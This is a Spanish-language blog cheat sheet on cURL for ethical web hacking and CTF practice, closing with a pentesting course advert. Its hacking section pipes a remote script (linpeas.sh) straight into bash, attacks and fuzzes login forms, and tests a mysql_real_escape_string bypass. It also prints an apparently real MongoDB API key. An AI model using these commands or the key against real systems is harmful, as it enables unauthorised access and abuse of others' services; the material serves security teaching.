Sumérgete en el mundo del hacking web con una herramienta sorprendentemente poderosa: cURL. En este artículo, aprenderás cómo aprovechar al máximo cURL para realizar acciones de hacking ético y evaluaciones de seguridad web. Descubre las capacidades de esta utilidad de línea de comandos y eleva tus habilidades de hacking web a un nivel superior.
Con la aplicación de línea de comandos curl (también conocida como cURL, abreviatura de “URL del cliente”), puede automatizar acciones por lotes, como enviar miles de formularios de Google, inundar servidores con solicitudes en pruebas de penetración y acceder a archivos remotos con manos libres utilizando solo Unix. scripting bash sin lenguajes de programación adicionales.
Esta hoja de trucos de curl tiene como objetivo proporcionar una descripción general de curl para principiantes y una muestra de cómo hackear curl para fanáticos de la ciberseguridad como usted.
Tenga a mano el programa Terminal (en sistemas Unix/Linux, incluido macOS) para probar los comandos siguientes, muchos de los cuales producen resultados significativos. Cuando estés listo, profundicemos.
¿Te gustaría enterarte de cuando lanzamos descuentos al Máximo o Nuevos Cursos?
¿Qué es cURL?
cURL es la abreviatura de “Client URL” y es un proyecto de software que proporciona una biblioteca (libcurl) y una herramienta de línea de comandos (curl). Es una biblioteca gratuita de transferencia de URL del lado del cliente que admite los siguientes protocolos: Cookies, DICT, FTP, FTPS, Gopher, HTTP/1, HTTP/2, HTTP POST, HTTP PUT, HTTP proxy tunneling, HTTPS, IMAP, Kerberos, LDAP, POP3, RTSP, SCP, and SMTP
Aunque Los proxies de ataque como BurpSuitePro son herramientas muy útiles, cURL le permite acercarse un poco más al nivel del protocolo, aprovechar las secuencias de comandos bash y proporciona un poco más de flexibilidad cuando trabaja en una vulnerabilidad compleja.
En las redes de computadoras, un cliente es una máquina que solicita datos o servicios y un servidor es una máquina que los proporciona. curl es un programa de línea de comandos para que los clientes envíen solicitudes a los servidores.
curl es útil para verificar rápida y automáticamente las respuestas de los servidores, siendo su uso principal los comandos curl GET y curl POST . Como curl opera a nivel de protocolo (HTTP/S, FTP, SCP, IMAP, POP3, SMTP, etc.), puede adaptar las solicitudes del servidor y los ataques cibernéticos a vulnerabilidades complejas que no están cubiertas por herramientas de seguridad prácticas como Burp Suite Pro.
Cuanto más familiarizado esté con el curl, más finamente podrá ajustar las operaciones de curl. Esta hoja de trucos para curl te ayudará a comenzar.
Nota: Los sitios web activos en los siguientes comandos funcionan al momento de escribir este artículo, pero las URL y la tecnología pueden cambiar en cualquier momento. Demos un vistaso rápido de lo que puedes ahacer:
Parámetro GET
Las variables HTTP GET se pueden configurar agregándolas a la URL.
curl http://10.10.10.10/index.php?sessionid=vn0g4d94rs09rgpqga85r9bnia
Parámetros POST
Las variables HTTP POST se pueden configurar utilizando el parámetro -d (–data).
Aquí hay un ejemplo de prueba de inicio de sesión simple:
$ curl --data "email=test@test.com&password=test" http://10.10.10.10/login.php
Cookies
cURL tiene un motor de cookies completo que se puede utilizar para almacenar y cargar las cookies que se le pasan desde un servidor entre sesiones:
$ curl -b oldcookies.txt -c newcookies.txt http://10.10.10.10/login.php
También puedes especificar tus propias cookies usando el parámetro -b:
$ curl -b "PHPSESSID=vn0g4d94rs09rgpqga85r9bnia" http://10.10.10.10/home.php
Agentes de usuario de cURL
$ curl -A "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" http://10.10.10.10/login.php
Guarda la respuesta del servidor en un archivo.
$ curl -o payload.sh http://10.10.10.10/payload.sh
Descarga un archivo a la carpeta actual
$ curl -O http://10.10.10.10/payload.zip
Sigue HTTP/1.1 302 redirecciones encontradas
curl -L http://10.10.10.10/profile.php
Encabezados de respuesta de salida de cURL a STDOUT
$ curl -i http://10.10.10.10/profile.php
cURL ve información detallada de depuración (encabezados de respuesta y otros detalles de depuración – STD2)
$ curl -v http://10.10.10.10/profile.php
Buscando en la web
El uso más sencillo de curl es la visualización de sitios web y archivos en la línea de comandos, que es también la forma en que la mayoría de los estudiantes de informática aprenden sobre curl en primer lugar.
Las opciones curl (también conocidas como banderas ) comienzan con un guión (-) o dos (–) y toman argumentos que son cadenas, URL o rutas de archivo.
DOMINIO | DESCRIPCIÓN |
---|---|
curl https://achirou.com/ | Devuelve el archivo fuente de una URL https://achirou.com/ |
curl --list-only "http://socialdance.stanford.edu/music/" | Lista de contenidos del directorio http://socialdance.stanford.edu/music/ |
curl -l | Abreviación decurl --list-only |
curl --location "https://aveclagare.org/mp3" | Redirigir la consulta según lo especificado en el código de respuesta de estado HTTP 3xx. Este directorio URL, https://aveclagare.org/mp3 , no devuelve la lista de archivos MP3 usando el curl --list-only comando, pero sí con curl --location . |
curl -L | Abreviación de curl --location |
curl --fail-early "ftp://ftp.corel.com" | Falla rápidamente al resolver ftp://ftp.corel.com |
curl --head "https://achirou.com/" | Obtener encabezados HTTP de la URL https://achirou.com/ |
curl -I | Abreviación decurl --head |
curl --head --show-error "https://achirou.com/holamundo/" | Compruebe si el sitio https://achirou.com/holamundo/ está inactivo |
curl --head --location "https://lnkd.in/dQ2hhwz3" | grep Location | Expanda una URL acortada o disfrazada: https://lnkd.in/dQ2hhwz3 redirige a una entrada de este blog. Esto también es útil cuando desea descubrir los sitios web reales detrás de los hipervínculos. |
Descargando archivos
Los siguientes comandos son útiles cuando deseas extraer contenido de sitios web. Los siguientes comandos devuelven resultados significativos al momento de escribirlos. Cambie los parámetros para adaptarlos a sus propósitos.
DOMINIO | DESCRIPCIÓN |
---|---|
curl --output hello.html https://achirou.com/ | Envía la URL https://achirou.com/ a un archivo hello.html |
curl -o | La abreviatura de curl --output. -o solo funciona si se coloca antes del parámetro de la URL de destino. |
curl --remote-name "https://core.ac.uk/download/pdf/71450528.pdf" | Descargue un archivo de https://core.ac.uk/download/pdf/71450528.pdf y guarde el archivo sin cambiar su nombre. |
curl -"https://core.ac.uk/download/pdf/71450528.pdf “ --output notas_hack.pdf | Descargue un archivo de https://core.ac.uk/download/pdf/71450528.pdf y cámbiele el nombre. notas_hack.pdf Alternativamente, puede reemplazarlo --output con > . Reemplazar --output con -o no funciona aquí. |
curl --remote-name --continue-at - "https://core.ac.uk/download/pdf/71450528.pdf" | Continuar con la descarga parcial de un archivo https://core.ac.uk/download/pdf/71450528.pdf |
curl "https://en.wikipedia.org/wiki/{Linux,Windows,OSX}" --output "file_#1.html" | Descargue archivos desde múltiples ubicaciones y asígneles un nombre según el formato. file_(operating system).html |
curl "https://www.gutenberg.org/files/[158-161]/[158-161]-0.{txt,zip}" --output "bk#1_#2.#3" | Descargar una secuencia de archivos y resultados. bk158_158.txt, bk158_158.zip, …, bk161_161.zip |
curl --location http://socialdance.stanford.edu/music/ | grep '.mp4' | cut -d \" -f 8 | while read i; do curl http://socialdance.stanford.edu/music/"${i}" -o "${i##*/}"; done | Descargue todos los archivos MP4 desde la URL http://socialdance.stanford.edu/music/ . Aquí, use grep para filtrar los archivos MP4, cut para encontrar la ruta a los archivos requeridos (el delimitador es ” y la cadena de ruta estaba en el octavo delimitador), un while bucle con curl ayuda a descargar los archivos de forma recursiva.Necesitará modificar los comandos grep y cut para descargar otros tipos de archivos y que localice hipervínculos relevantes en el código fuente HTML de la URL que especifique. |
Comandos GET curl
Las variables HTTP GET se pueden configurar agregándolas a la URL.
$ curl http://10.10.10.10/index.php?sessionid=vn0g4d94rs09rgpqga85r9bnia
Utilice estos comandos para realizar una solicitud GET mediante curl. Los comandos curl GET pueden requerir que pases claves de autorización a través de la bandera --header
.
También puede realizar otras solicitudes HTTP como PUT y DELETE usando curl y los indicadores apropiados.
DOMINIO | DESCRIPCIÓN |
---|---|
curl --request GET "https://achirou.com/" | Obtenga la fuente HTML de la URL https://achirou.com/ y envíela a la consola del terminal. |
curl -X | Abreviación decurl --request |
curl --request GET 'https://us-east-1.aws.data.mongodb-api.com/app/viewdata-kqgls/endpoint/view?secret=ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D7210gXiZHa5agdbSq8pzbpI8Lo' --header 'Content-Type: application/json' | Obtenga todos los documentos de MongoDB de la viewdata-kqgls con la cadena secreta proporcionada y el encabezado como parámetros de consulta. El resultado esperado es un objeto JSON que contiene todos los documentos. |
curl --request GET 'https://us-east-1.aws.data.mongodb-api.com/app/viewdata-kqgls/endpoint/view?secret=ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D7210gXiZHa5agdbSq8pzbpI8Lo&id=636b5046e54ce11139fd8b96' --header 'Content-Type: application/json' | Obtenga un documento MongoDB de la viewdata-kqgls con el ID, la cadena secreta y el encabezado del tipo de contenido proporcionados como parámetros de consulta.El resultado esperado es el documento, Get a MongoDB document from the viewdata-kqgls app with the given ID, secret string, and content type header as query parameters.The expected result is the document, if it exists:{“_id”:”636b5046e54ce11139fd8b96″,”name”:” Alvaro “,”age”:37,”greeting”:”Greetings, everyone.”} |
Comandos POST curl
Las variables HTTP POST se pueden configurar utilizando el parámetro -d (–data).
Aquí hay un ejemplo de prueba de inicio de sesión simple:
$ curl --data "email=test@test.com&password=test" http://10.10.10.10/login.php
Utilice estos comandos para realizar una solicitud POST utilizando curl. Los comandos curl POST pueden requerir que el --header
indicador pase claves de autorización.
También puede realizar otras solicitudes HTTP como PUT y DELETE usando curl y los indicadores apropiados.
DOMINIO | DESCRIPCIÓN |
---|---|
curl --header | Pasar un encabezado a la URL del servidor |
curl -H | Abreviación decurl --header |
curl --request POST "https://achirou.com/ " -d 'some data' | Obtenga la fuente HTML de la URL https://achirou.com/ |
curl -X | Abreviación decurl --request |
curl --request POST 'https://data.mongodb-api.com/app/data-meetp/endpoint/data/v1/action/insertOne' --header 'Content-Type: application/json' --header 'api-key: ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D7210gXiZHa5agdbSq8pzbpI8Lo' --data-raw '{"dataSource": "Cluster0","database": "curlhacks","collection": "curlhacks","document": { "name": " | Cargue a través de la API de datos de MongoDB el objeto Javascript dado a una base de datos y a una colección denominada curlhacks . El resultado esperado: {"insertedId":"636b5046e54ce11139fd8b96"} esto significa que curlhacks se ha registrado el nuevo objeto Javascript como un documento MongoDB con el ID proporcionado. |
curl --request POST 'https://data.mongodb-api.com/app/data-meetp/endpoint/data/v1/action/findOne' --header 'Content-Type: application/json' --header 'api-key: ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D7210gXiZHa5agdbSq8pzbpI8Lo' --data-raw '{"dataSource": "Cluster0","database": "curlhacks","collection": "curlhacks","filter": { "name": "Alvaro" }}' | Solicite a través de la API de datos de MongoDB la base de datos y la colección, ambas denominadas curlhacks , para un documento con el par clave-valor {"name": "Alice Bob"} .El resultado esperado es el documento solicitado: {"document":{"_id":"636b5046e54ce11139fd8b96","name":"Alice |
curl --request POST 'https://data.mongodb-api.com/app/data-meetp/endpoint/data/v1/action/deleteOne' --header 'Content-Type: application/json' --header 'api-key: ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D7210gXiZHa5agdbSq8pzbpI8Lo' --data-raw '{"dataSource": "Cluster0","database": "curlhacks","collection": "curlhacks","filter": { "_id": { "$oid": "636b4f88fd82bd55d90962c6" } }}' | Elimine a través de la API de datos de MongoDB un documento con el ID proporcionado de la base de datos y la colección, ambos denominados curlhacks .El resultado esperado: {"deletedCount":1} esto significa que curlhacks se ha eliminado un documento de MongoDB, concretamente el especificado. |
Interacción API
Los siguientes comandos pueden ayudarle a automatizar las solicitudes de consultas web, como los envíos de formularios de Google.
DOMINIO | DESCRIPCIÓN |
---|---|
curl "https://gitlab.com/api/v4/projects" | Consultar un punto final API |
curl --header "Auth-Token:$DB_APP_TOKEN" "https://example.com/api/v3/endpoint" | Pase un encabezado a la URL de un servidor. Un encabezado es un campo de una solicitud o respuesta HTTP que pasa contexto y metadatos adicionales sobre la solicitud o respuesta. En este ejemplo, el encabezado es un token de autorización. |
curl -H | Abreviación decurl --header |
curl --data "Alvaro" "https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" | Envíe datos sin procesar codificados en URL "Alvaro" a un punto final de API, en este caso un formulario de Google. |
curl -d | Abreviación decurl --data |
curl --data " | Envíe datos sin procesar codificados en URL "Alvaro" a un punto final de API, en este caso un formulario de Google, y envíelos a los datos de salida.html devueltos por el servidor. |
curl --form "emailAddress=test@myemail.com" --form "submit=Submit" "https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" > output.html | Emule el envío de una dirección de correo electrónico a un punto final API (formulario de Google aquí) y luego presione el botón Enviar. El archivo de salida, output.html tendrá un campo de dirección de correo electrónico completo. |
curl -F | Abreviación decurl --form |
curl --form "entry.123456789=</Users/user1/Downloads/playlist.m3u" "https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" > output.html | Envíe a un punto final API (formulario de Google aquí) el contenido del archivo /Users/user1/Downloads/playlist.m3u del parámetro entry.123456789 . El símbolo < aquí significa que está enviando datos al servidor, a diferencia de > para los datos que recibe del servidor. Puede encontrar los parámetros del formulario entry.123456789 (el número no puede tener nueve dígitos) utilizando el Inspector de su navegador. En los navegadores basados en Chrome, haga clic derecho en la página y seleccione “Inspeccionar” para ver el Inspector. El archivo de salida, output.html mostrará el contenido del archivo en el campo correspondiente. |
curl --form "entry.123456789=</Users/user1/Downloads/playlist.m3u" --form "emailAddress=test@myemail.com" "https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" | Envíe más de un dato al punto final de API determinado. Este comando envía el correo electrónico y el archivo de lista de reproducción especificados. La salida de este comando estará en la terminal. |
curl --data "entry.123456789=</Users/user1/Downloads/playlist.m3u&emailAddress=test@myemail.com" "https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" | De manera similar a lo anterior, envíe más de un dato al punto final de API determinado. Este comando envía el correo electrónico y la cadena de datos sin procesar " </Users/user1/Downloads/playlist.m3u" .La salida de este comando estará en la terminal. |
curl --form "input=@pic1.jpg" "https://www.iloveimg.com/resize-image" > output.html | Envíe un archivo /Users/user1/Downloads/pic1.jpg como datos de formulario al punto final de API determinado. Ambos comandos son equivalentes. Envían un archivo de imagen a https://www.iloveimg.com/resize-imag. Utilice @ si el archivo está en el directorio de trabajo actual (obtenido a través de pwd ); No utilice @ si proporciona la ruta completa del directorio del archivo.El archivo de salida, output.html mostrará las opciones de cambio de tamaño de imagen devueltas por la API. |
Cookies
cURL tiene un motor de cookies completo que se puede utilizar para almacenar y cargar las cookies que se le pasan desde un servidor entre sesiones:
$ curl -b oldcookies.txt -c newcookies.txt http://10.10.10.10/login.php
También puedes especificar tus propias cookies usando el parámetro -b:
$ curl -b "PHPSESSID=vn0g4d94rs09rgpqga85r9bnia" http://10.10.10.10/home.php
Parece que la sola acción de enviar cookies al sitio web de destino no afecta el diseño HTML del sitio web. Sin embargo, curl admite los siguientes métodos:
DOMINIO | DESCRIPCIÓN |
---|---|
curl --cookie "registered=yes" | Enviar "registered=yes" como cookie |
curl --cookie "name=Alvaro;email=test@myemail.com" | Enviar “nombre=Alvaro ” y "email=test@myemail.com" como cookies |
curl --cookie import_cookies.txt | Enviar el contenido de import_cookies.txt como cookie(s).Como la mayoría de los navegadores ya no admiten el “Set-Cookie:” prefijo, formatee sus cookies en el archivo como:key1=value1;key2=value2 |
curl -b | Abreviación de--cookie |
curl --cookie-jar mycookies.txt | Escriba cookies mycookies.txt después de ejecutar la operación curl en otras banderas |
curl -c | Abreviación de--cookie-jar |
curl --dump-header headers_and_cookies.txt https://achirou.com/ | Envíe encabezados HTTP y datos de cookies de https://achirou.com/ aheaders_and_cookies.txt |
curl -D | Abreviación decurl --dump-header |
curl Script
Puede utilizar comandos curl en scripts bash. Aquí hay algunos scripts de ejemplo que involucran comandos curl:
EJEMPLO | DESCRIPCIÓN |
---|---|
paquete-instalación-curl.sh | Instalar paquetes con curl |
curl-url-time.sh | Consultar el tiempo de respuesta de un sitio web |
formato curl-json.sh | Embellecer la salida json para la respuesta curl |
curl-remote-scripts.sh | curl ejecutar scripts remotos |
curl avanzado
Aquí hay algunos comandos para ajustar sus operaciones de rizo.
DOMINIO | DESCRIPCIÓN |
---|---|
curl -h | Mostrar comandos de ayuda |
curl --version | Mostrar versión rizo |
curl -v ftp://ftp.afip.com/ | Obtenga resultados detallados mientras se conecta a la URL ftp://ftp.afip.com/ . Puede usar este indicador -v junto con otros indicadores como --head, --location . |
curl --trace ftp_X.txt https://twitter.com/ | Obtenga detalles de los paquetes capturados en la conexión a la URL https://twitter.com/ |
curl -s https://twitter.com/ > twitter.html | Descargue la URL https://twitter.com/ en modo silencioso, sin mostrar el progreso |
curl -L "https://twitter.com/search" --connect-timeout 0.1 | Especifique el tiempo máximo en segundos (0,1 segundos en este ejemplo) permitido para conectarse a la URL https://twitter.com/search |
curl -s -w '%{remote_ip} %{time_total} %{http_code} \n' -o /dev/null https://achirou.com/ | Devuelve los valores de los parámetros especificados como una cadena '%{remote_ip} %{time_total} %{http_code} \n' en la salida del terminal y suprime todas las demás salidas del sistema. |
curl -r 0-99 https://achirou.com/ | Obtenga los primeros 100 bytes de la URL https://achirou.com/ |
curl -r -500 https://achirou.com/ | Obtenga los últimos 500 bytes de la URL https://achirou.com/ |
curl -r 0-99 ftp://ftp.afip.com | Obtenga los primeros 100 bytes de una URL FTP. curl solo admite rangos con posiciones iniciales y finales explícitas. |
curl -m 0.1 | Especifique el tiempo máximo de operación en segundos (0,1 s aquí) |
Ejemplo de solicitud curl
Concluyamos este artículo con un truco de solicitud POST curl. Proceda bajo su propio riesgo.
DOMINIO | DESCRIPCIÓN | . |
---|---|---|
curl -X POST https://textbelt.com/text --data-urlencode phone='+[area code][phone number]' --data-urlencode message=' Hola Mundo =).' -d key=textbelt | Envía un mensaje de texto SMS gratuito a un número de teléfono en formato E.164 a través de https://textbelt.com/ con la clave API textbelt . Si tiene una clave API personalizada, reemplace ” textbelt ” con ella. |
Hackear con cURL
Ahora que hemos cubierto la sintaxis básica y los casos de uso, aquí hay algunas aplicaciones de hacking prácticas que son muy útiles en Hackthebox o cajas CTF.
Usando cURL para canalizar un scipt remoto (linpeas.sh) directamente a bash:
$ curl -sSk "http://10.10.10.10/linpeas.sh" | bash
Atacar un formulario de inicio de sesión con cURL
$ curl --data "email=test@test.com&password=test" http://10.10.10.10/login.php
Creando nuevos usuarios con cURL
$ curl --data "name=test&email=test@test.com&password=test" http://10.10.10.10/newuser.php
Fuzzing servidores web con cURL
A menudo, al realizar una evaluación de un servidor web, intentaremos desencadenar condiciones de error que proporcionarán información más profunda sobre los procesos y el software subyacentes. cURL puede ser una poderosa herramienta de fuzzing para generar estos mensajes de error de casos extremos.
Fuzzing con límites de longitud de URI / GET de longitud de parámetro con cURL
El siguiente script se puede utilizar para crear un servidor web con una URL larga, realizar un seguimiento de los cambios en la salida y escribir la salida en un archivo. Está destinado a ser una base para que construya un fuzzer adecuado para su propósito usando cURL y Bash. Puede modificar la URL para difuminar un URI o un parámetro GET.
Aquí está el script de bash shell:
#!/bin/bash
echo "args: <URL> <Start Length #> <End Length #> <Output Filepath>"
echo "Length Lines Words Bytes Filename"
echo "---------------------------------"
for ((i = $2; x <= $3; i++))
do
fuzz=""
for ((x = 1; x <= $i; x++))
do
fuzz+="A"
done
#echo "COUNT: $i $fuzz"
#echo "${1}${fuzz}"
echo "${i}" | { tr -d '\n' ; curl "${1}${fuzz}" -o ${4} 2>/dev/null | wc ${4}; }
done
A continuación se muestra un ejemplo de cómo se ve en ejecución:
./fuzz_url.sh http://10.10.10.10/ 1000 1000000 output.txt
args: <URL> <Start Length #> <End Length #> <Output Filepath>
Length Lines Words Bytes Filename
---------------------------------
1000 9 31 274 output.txt
...
...
100000 11 37 343 output.txt
100001 11 37 343 output.txt
100002 11 37 343 output.txt
100003 11 37 343 output.txt
100004 11 37 343 output.txt
100005 11 37 343 output.txt
Fuzzing límites de longitud del parámetro POST con cURL
El siguiente script se puede utilizar para modificar los parámetros POST de un servidor web y escribir la salida en un archivo y realizar un seguimiento de los cambios en esa salida. Está destinado a ser una base para que construya un fuzzer adecuado para su propósito usando cURL y Bash.
Aquí está el script de bash shell:
#!/bin/bash
echo "args: <URL> <Start Length #> <End Length #> <Output Filepath> <Post data: var=value&var2=valuefuzz>"
echo "Length Lines Words Bytes Filename"
echo "---------------------------------"
for ((i = $2; x <= $3; i++))
do
fuzz=""
for ((x = 1; x <= $i; x++))
do
fuzz+="A"
done
#echo "COUNT: $i $fuzz"
#echo "${5}${fuzz}"
echo "${i}" | { tr -d '\n' ; curl "${1}" -o ${4} -d "${5}${fuzz}" 2>/dev/null | wc ${4}; }
done
A continuación se muestra un ejemplo de cómo se ve en ejecución:
./fuzz_post.sh http://10.10.10.10/ 1000 1000000 output.txt "user=test&password=test"
args: <URL> <Start Length #> <End Length #> <Output Filepath>
Length Lines Words Bytes Filename
---------------------------------
1000 9 31 274 output.txt
...
...
100000 11 37 343 output.txt
100001 11 37 343 output.txt
Verifique si el inicio de sesión de un usuario es correcto en un script Bash
El siguiente script se puede utilizar para verificar que un nombre de usuario y un inicio de sesión sean correctos. Está destinado a ser una base para que construya un fuzzer adecuado para su propósito usando cURL y Bash. Verificará los caracteres de longitud de la respuesta para ver si es una respuesta válida. Deberá ajustar el recuento de caracteres esperado para su aplicación.
#!/bin/bash
result=($(curl --data "email=$2&password=$3" "$1" 2>/dev/null | wc -c))
echo $result
if [ "$result" == '0' ]
then
echo 'zero'
else
echo 'NOT zero'
fi
Aquí está el guión en acción:
$ ./check_user.sh http://10.10.10.10/login.php test@test.com testpassword
0
NOT zero
Automatizar la creación de usuarios y probar la omisión de mysql_real_escape_string
Está destinado a ser una base para que construya un fuzzer adecuado usando cURL y Bash. Aquí hay un script bash que creé para un CTF para validar una teoría que tenía sobre el uso del método PHP mysql_real_escape_string:
#!/bin/bash
# Test for mysql_real_escape_string
email=test@test.com
password=1234567890123456789012345678901234567890123456789012345678901234567890123456789
fuzz="뽜’’AA"
name="‘¿’’AA"
ip="10.10.10.10"
echo "Creating User: ${email}"
curl -i -b 'cookies.txt' -c 'cookies.txt' -d "name=${name}&email=${email}&password=${password}&type=Admin" "http://${ip}/index.php" 2>/dev/null
echo " "
echo "============================================"
echo "Login as User"
echo "============================================"
curl -i -c 'cookies.txt' -d "email=${email}&password=${password}&type=Admin" "http://${ip}/index.php" 2>/dev/null | grep 'location'
echo " "
echo "============================================"
echo "Check user profile with cookie"
echo "============================================"
curl -b 'cookies.txt' "http://${ip}/index.php" -v 2>/dev/null | grep 'td align="center"'
echo " "
echo "============================================"
echo "Change Name"
echo "============================================"
curl -b 'cookies.txt' -d "name=${fuzz}&type=Admin" "http://${1}/index.php"
echo " "
curl -b 'cookies.txt' "http://${ip}/profile.php" 2>/dev/null | grep 'td align="center"'
echo " "
echo " DELETEING COOKIE "
rm cookies.txt
echo "============================================"
echo "Relogin as User - did password change?"
echo "============================================"
curl -i -c 'cookies.txt' -d "email=${email}&password=${password}&type=Admin" "http://${ip}/index.php" 2>/dev/null | grep 'location'
echo " "
echo " DONE!"
echo " DELETEING COOKIE "
rm cookies.txt
Esperamos que esta hoja de trucos sobre cURL te ayude a explorar sus usos. Al concluir esta inmersión en el hacking web con cURL, habrás desbloqueado un conjunto de habilidades que te permitirán abordar desafíos de seguridad de manera única. La versatilidad de cURL como herramienta de línea de comandos te brindará un control sin igual sobre las interacciones web.
Pentesting Web. Prácticas de un Ethical Hacker Profesional.
El Pentesting Web se enfoca principalmente en aplicaciones y paginas funcionando en internet. Esto genera que su demanda laboral sea además de muy alta, sumamente importante.
La gran ventaja de esta profesión es que efectivamente, puedes llevarla adelante desde cualquier parte del mundo, con una computadora e internet.
Nosotros te brindaremos los fundamentos teóricos y la base necesaria para que empieces desde 0, y vayas avanzando hacia el ámbito profesional, con laboratorios simulando entornos reales
Hemos creado esta formación profesional donde aprenderás todo lo que necesitas para ser un experto, y con practicas que podrás aplicar en escenarios reales.
Contaras con nuestra supervisión, experiencia y respuesta a todas tus preguntas que tengas sobre el contenido. Así también sobre las actualizaciones que hagamos sobre el curso, el cual será tuyo de por vida y recibirás dichas actualizaciones sin tener que volver a pagar.
Yo soy Álvaro Chirou, tengo más de 20 Años de experiencia trabajando en Tecnología, eh dado disertaciones en eventos internacionales como OWASP, tengo más de 1.700.000 estudiantes en Udemy y 100 formaciones profesionales impartidas en la misma.
Y junto a mi compañero el profesor Walter Coto donde con él hemos dictado formaciones profesionales en conjunto también en la plataforma de Udemy, el cuenta con más de 330.000 Estudiantes y hoy les traemos esta oportunidad de seguirse formando en hacking ético en entornos Web.
Tendrás acceso de por vida al curso, recibirás actualizaciones y respuestas a tus preguntas a través de la plataforma de Udemy.
Empieza a aprender ya mismo!
Lo que aprenderás
- Hacking Ético Web
- El TOP 10 Vulnerabilidades Web de OWASP
- Uso de Burp Suite
- Identificar Vulnerabilidades Web
- Explotar Vulnerabilidades Web
- Identificar Vulnerabilidades que NO son de OWASP TOP 10
- Prácticar con Escenarios Reales de Hacking Web
- Las 5 Fases del Pentesting Web
Aprende Pentesting Web, Hacking Ético y Ciberseguridad. Practicas reales y aprender todo sobre Vulnerar entornos Web: https://achirou.com/pentesting-web